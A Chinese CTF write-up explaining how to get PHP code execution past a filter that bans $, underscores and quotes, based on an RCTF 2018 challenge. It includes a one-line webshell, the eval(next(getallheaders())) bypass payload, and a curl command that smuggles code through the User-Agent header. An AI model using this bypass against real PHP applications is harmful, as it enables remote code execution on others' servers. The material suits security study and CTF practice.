CTF真题php在多重限制下的情况下如何执行命令?

 

前言

在知识星球中看到这样一个题目,PHP5的环境下不允许用$,不能有下划线,不允许使用单引号,双引号,反引号,可以用任意字母和其他字符,怎么写一个webshell?

 

RCTF

这个让我想到之前在RCTF 2018的比赛中,看到这样的一道题,

<?php
$token = sha1($_SERVER['REMOTE_ADDR']);
$dir = '../sandbox/'.$token.'/';
is_dir($dir) ?: mkdir($dir);
is_file($dir.'index.php') ?: file_put_contents($dir.'index.php', str_replace('#SHA1#', $token, file_get_contents('./template')));
switch($_GET['action'] ?: ''){
    case 'go':
        header('Location: http://'.$token.'.sandbox.r-cursive.ml:1337/');
        break;
    case 'reset':
        system('rm -rf '.$dir);
        break;
    default:
        show_source(__FILE__);
}
?>

访问?action=go之后,我们会自动跳到属于自己ip的沙盒中,打开题目,我们就能看到源码

<?php
sha1($_SERVER['REMOTE_ADDR']) === '99754106633f94d350db34d548d6091a' ?: die();
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) ? eval($_GET['cmd']) : show_source(__FILE__);

这里和上面的条件是非常相似的,也是禁止了下划线,和任意非单词字符。

 

测试

我们把这里的正则拿出来, 然后写脚本测试下

<?php
$flag = preg_replace('/[^\W_]+\((?R)?\)/', '', $_GET['cmd']);
var_dump(';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd']) );

我们写上一般正常的一句话木马

/test.php?cmd=eval($_REQUEST[w]);

可以看到,一般形态的webshell木马是不行的,会显示false。

可以看到这里根本就是禁止了$ 符号,无法进行利用。

可以看到如果不使用$符号就不会报错,就可以。

那有什么方法可以进行绕过呢?

 

绕过

百思不得其解,后来就想通了,就是可以不用使用$的符号作为变量,那么有的同学就会问了,有什么方法可以不使用$符号然后还能赋值?

其实在PHP中还有一个函数是getallheaders 这个是可以获取到整个Http头信息

<?php
print_r(getallheaders());

整个Header头信息都打印出来了。

我们就可以指定Header中的头信息,加入我们的payload就可以绕过。

但是getallheaders()返回的是一个数组,eval函数里面传递数组是无法生效的。哪有什么方法能获取到数组里面的具体的键值呢?

还可以用一个函数next()函数,可以在函数将内部指针指向数组中的下一个元素,并输出

那么我们使用eval(next(getallheaders())); 这种方式就可以绕过了上题的要求了,实现无$符号,无特殊字符,下划线的命令执行了。

那么配合上面的原题代码

<?php
$flag = preg_replace('/[^\W_]+\((?R)?\)/', '', $_GET['cmd']);
';' === preg_replace('/[^\W_]+\((?R)?\)/', NULL, $_GET['cmd'])  ? eval($_GET['cmd']) : 0;

那么我们的绕过语句为:

curl -H "User-Agent: echo(123);" -H "Accept: asdasd/asdasda" "http://localhost:85/test.php?cmd=eval(next(getallheaders()));

至此,我们已经达到以绕过了上题的要求了,实现无$符号,无特殊字符,下划线的命令执行了。

(完)